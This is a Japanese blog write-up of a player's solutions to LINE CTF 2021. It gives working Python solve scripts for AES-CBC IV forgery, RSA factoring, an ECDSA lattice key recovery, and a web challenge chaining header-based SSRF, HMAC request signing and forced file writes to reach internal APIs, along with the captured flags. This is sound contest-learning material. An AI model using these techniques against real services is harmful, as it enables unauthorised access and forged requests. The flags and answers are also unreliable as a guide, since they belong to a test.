LINE CTF Writeup

Sun Mar 21 2021

    3/20 9:00 - 3/21 9:00 (JST) に開催された LINE CTF にソロで参加しました。結果は 31st/680 でした。 初開催ということもあってかいろいろトラブルがありましたが、個人的には楽しめました (解けたとは言ってない)。特に web 問のコードリーディングは勉強になった感じがあります (解けたとは言ってない)。 解いた問題についてまとめていきます。

    それにしても最近 crypto が解けるようになったのはいいけどみんなも解けてしまうのでスコアがあまり伸びなくてつらい… web 問とか解けるようになりたいけど、どう精進するのがいいのだろうか。チームとかに入って情報交換とかしたほうが捗るのかな🤔

    Crypto

    babycrypto1

    AES CBC モードの問題。 ランダム文字列160bytes (=16 blocks) の TOKEN が生成され、 TOKEN + test (+ padding の \x0c * 0x0c) という文字列を暗号化したものが与えられます。復号して TOKEN + show となる暗号を送ればフラグが手に入ります。 一度だけ任意の IV と message を暗号化することが許されます。

    CBC モードの構造上、 IV を暗号化された TOKEN の最後のブロックにすることで、 TOKEN + show を暗号化したものの最後のブロックを得ることができます。

    from base64 import b64encode, b64decode
    from pwn import *
    
    r = remote("35.200.115.41", 16001)
    
    r.recvuntil("test Command: ")
    enc_test = b64decode(r.recvline().strip())
    iv = enc_test[-32:-16]
    msg = b"show"
    r.sendlineafter("IV...: ", b64encode(iv))
    r.sendlineafter("Message...: ", b64encode(msg))
    r.recvuntil("Ciphertext:")
    enc_msg = b64decode(r.recvline().strip())
    
    r.sendlineafter("Enter your command: ", b64encode(enc_test[:-16] + enc_msg[16:]))
    r.interactive()

    LINECTF{warming_up_crypto_YEAH}

    babycrypto2

    AES CBC モードの問題 その2。 Command: test + TOKEN の文字列を暗号化したものが与えられます。復号して Command: show + TOKEN となる暗号を送ればフラグが手に入ります。

    CBC モードを復号するとき、復号された最初のブロックは後続のブロックに影響を与えないため、 IV をコントロールすることで最初のブロックを任意の文字列に変更することができます。

    from base64 import b64encode, b64decode
    from pwn import *
    
    r = remote("35.200.39.68", 16002)
    
    r.recvuntil("test Command: ")
    enc_test = b64decode(r.recvline().strip())
    
    def xor(a, b):
        return bytes([_a ^ _b for _a, _b in zip(a, b)])
    
    payload = enc_test[:9] + xor(xor(b"test", b"show"), enc_test[9: 13]) + enc_test[13:]
    print(payload)
    payload = b64encode(payload)
    r.sendlineafter("Enter your command: ", payload)
    r.interactive()

    LINECTF{echidna_kawaii_and_crypto_is_difficult}

    babycrypto3

    RSA の問題。文字数のめっちゃ少ない pem と暗号文が与えられます。 情報がこれだけなので、 pem にある nn を素因数分解することでしか解けなそうです。 RsaCtfTool に投げて雑に解きました。

    python RsaCtfTool.py -n 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337 -e 65537 --private

    これで得られた private key の pem を priv.pem という名前で保存し、以下のスクリプトで復号させました。

    from base64 import b64decode
    from Crypto.PublicKey import RSA
    from Crypto.Util.number import bytes_to_long, long_to_bytes
    
    with open("./priv.pem", "r") as f:
        key = f.read()
    
    rsa = RSA.import_key(key)
    e = rsa.e
    n = rsa.n
    d = rsa.d
    
    with open("./ciphertext.txt", "rb") as f:
        buf = f.read()
    enc = bytes_to_long(buf)
    
    print(long_to_bytes(pow(enc, d, n)))  # padding + b"Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==" という文字列になっている
    
    print(b64decode(b"Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg=="))

    LINECTF{CLOSING THE DISTANCE.}

    babycrypto4

    ECDSA 署名の問題。 r,sr, s, hash, kk の上位 bit のペアがいくつか渡されている中で dd を求めます。

    昔似たような問題を解いたことがあり、そのときに見つけた https://eprint.iacr.org/2019/023.pdf を参考にして解きました。 ただ、論文中にあげられている格子基底行列のうち、 M[m+1, i] の符号を反転させないとうまく動かなかったです。以前解いたときはそんなことなかったんだけど、なんでだろう🤔

    kk のビット数があまりにも小さくて、上位ビットが与えられているという情報全然使わずに解けてしまったけど、どういう想定だったのだろう🤔

    from binascii import unhexlify
    from Crypto.Util.number import long_to_bytes, bytes_to_long
    import re
    with open("./output.txt") as f:
        buf = f.read()
    rs = []
    ss = []
    ks = []
    hs = []
    for r, s, k, h in re.findall(r"(0x[0-9a-f]*) (0x[0-9a-f]*) (0x[0-9a-f]*) (0x[0-9a-f]*)", buf):
        rs.append(int(r, 16))
        ss.append(int(s, 16))
        ks.append(int(k, 16))
        hs.append(bytes_to_long(unhexlify(h[2:])))
    
    
    # https://neuromancer.sk/std/secg/secp160r1
    p = 0xffffffffffffffffffffffffffffffff7fffffff
    a = 0xffffffffffffffffffffffffffffffff7ffffffc
    b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
    EC = EllipticCurve(GF(p), [a, b])
    G = EC(0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
    n = 0x0100000000000000000001f4c8f927aed3ca752257
    h = 0x1
    
    m = len(rs)
    M = matrix(QQ, m+2, m+2)
    order = n
    B = 2**150
    for i in range(m):
        M[i, i] = QQ(order)
        M[m, i] = QQ(pow(ss[i], -1, order) * rs[i])
        # TODO: ここマイナスだとうまくいかないのなんでだろう🤔
        # M[m+1, i] = -QQ(pow(ss[i], -1, order) * hs[i])
        M[m+1, i] = QQ(pow(ss[i], -1, order) * hs[i])
    M[m, m] = QQ(B) / QQ(order)
    M[m+1, m+1] = QQ(B)
    
    C = M.LLL()
    for i in range(m+2):
        if abs(C[i][-1]) != B:
            continue
        d = ZZ(C[i][-2] * order / B)
        if C[i][-1] < 0:
            d = -d
        for j in range(m):
            kl = (int(pow(ss[j], -1, order) * rs[j] * int(d)) + int(pow(ss[j], -1, order) * hs[j])) % order
            print(kl, ks[j])
    print(hex(d))

    LINECTF{dをhex化して文字列長が偶数になるように0をpaddingしたもの}

    この問題は出題に不備が多くて時間が無駄に溶けてしまった、悲しい…

    Web

    diveinternal

    コードを読むと、フラグが手に入るのは以下の部分。

    def RunRollbackDB(dbhash):
        try:
            if os.environ['ENV'] == 'LOCAL':
                return
            if dbhash is None:
                return "dbhash is None"
            dbhash = ''.join(e for e in dbhash if e.isalnum())
            if os.path.isfile('backup/'+dbhash):
                with open('FLAG', 'r') as f:
                    flag = f.read()
                    return flag
            else:
                return "Where is file?"

    これが呼ばれる部分は以下。

        def IntegrityCheck(self,key, dbHash): 
    
            if self.integrityKey == key:
                pass
            else:
                return json.dumps(status['key'])
            if self.dbHash != dbHash:
                flag = RunRollbackDB(dbHash)
                logger.debug('DB File changed!!'+dbHash)
                file = open(os.environ['DBFILE'],'rb').read()
                self.dbHash = hashlib.md5(file).hexdigest()
                self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest()
                return flag
            return "DB is safe!"

    コードを注意深く読んでいくと、フラグを表示するためには、

    • 内部の api にアクセスする
    • backup/${dbhash} にファイルをつくる
    • dbhash をつくったファイル名にする

    ことができればよさそうということがわかります。

    まずそもそも内部の api にアクセスできないと何もできない (frontend 側では / と /coin と /addsub しかアクセスできない) のですが、これは LanguageNomarize での処理で解決できそうです。

    def LanguageNomarize(request):
        if request.headers.get('Lang') is None:
            return "en"
        else:
            regex = '^[!@#$\\/.].*/.*' # Easy~~
            language = request.headers.get('Lang')
            language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
            if re.search(regex,language):
                return request.headers.get('Lang')
            
            try:
                data = requests.get(request.host_url+language, headers=request.headers)
                if data.status_code == 200:
                    return data.text
                else:
                    return request.headers.get('Lang')
            except:
                return request.headers.get('Lang')

    request.host_url+language にアクセスしてくれるため、これらのヘッダーをいじることでアクセスします。 response は Lang ヘッダーに格納されます。

    backup/${dbhash} にファイルをつくるには、 /download にアクセスします。

    def WriteFile(url):
        local_filename = url.split('/')[-1]
        print(local_filename)
        with requests.get(url, stream=True) as r:
            r.raise_for_status()
            with open('backup/'+local_filename, 'wb') as f:
                for chunk in r.iter_content(chunk_size=8192): 
                    f.write(chunk)
    (snipped)
    @app.route('/download', methods=['GET','POST'])
    def download():
        try:
            if request.headers.get('Sign') == None:
                return json.dumps(status['sign'])
            else:
                if SignCheck(request):
                    pass
                else:
                    return json.dumps(status['sign'])
    
            if request.method == 'GET':
                src = request.args.get('src')
    
                if valid_download(src):
                    pass
                else:
                    return json.dumps(status.get('false'))
                    
            elif request.method == 'POST':
                if valid_download(request.form['src']):
                    pass
                else:
                    return json.dumps(status.get('false'))
    
            WriteFile(src)
            return json.dumps(status.get('success'))

    src に指定した url にアクセスしたときの response を、 url の末尾の名前で保存します。 SignCheck は手元で hmac.new(private_key.encode(), GET_QUERY_STRING, sha512).hexdigest() を計算することが可能です。

    あとは /rollback に ?dbhash=${PATH_TO_SAVE_DIR} をつけてアクセスすれば、フラグが入手できます。

    import hmac
    import json
    from hashlib import sha512
    
    import requests
    
    # HOST = "http://localhost:12004"
    HOST = "http://35.190.234.195"
    url = f"{HOST}/apis/coin"
    private_key = "let'sbitcorinparty"
    
    headers = {
        "Lang": "integrityStatus",
        "Host": "private:5000",
    }
    r = requests.get(url, headers=headers)
    dbhash = json.loads(r.headers["lang"])["dbhash"]
    
    
    def gen_sign(value: str):
        return hmac.new(private_key.encode(), value.encode(), sha512).hexdigest()
    
    
    payload = "src=http://private:5000/integrityStatus"
    sign = gen_sign(payload)
    headers = {
        "Lang": f"download?{payload}",
        "Host": "private:5000",
        "Sign": sign,
    }
    r = requests.get(url, headers=headers)
    
    payload = "dbhash=integrityStatus"
    sign = gen_sign(payload)
    headers = {
        "Lang": f"rollback?{payload}",
        "Host": "private:5000",
        "Sign": sign,
        "Key": sha512(dbhash.encode()).hexdigest(),
    }
    r = requests.get(url, headers=headers)
    print(r.headers["lang"])

    LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}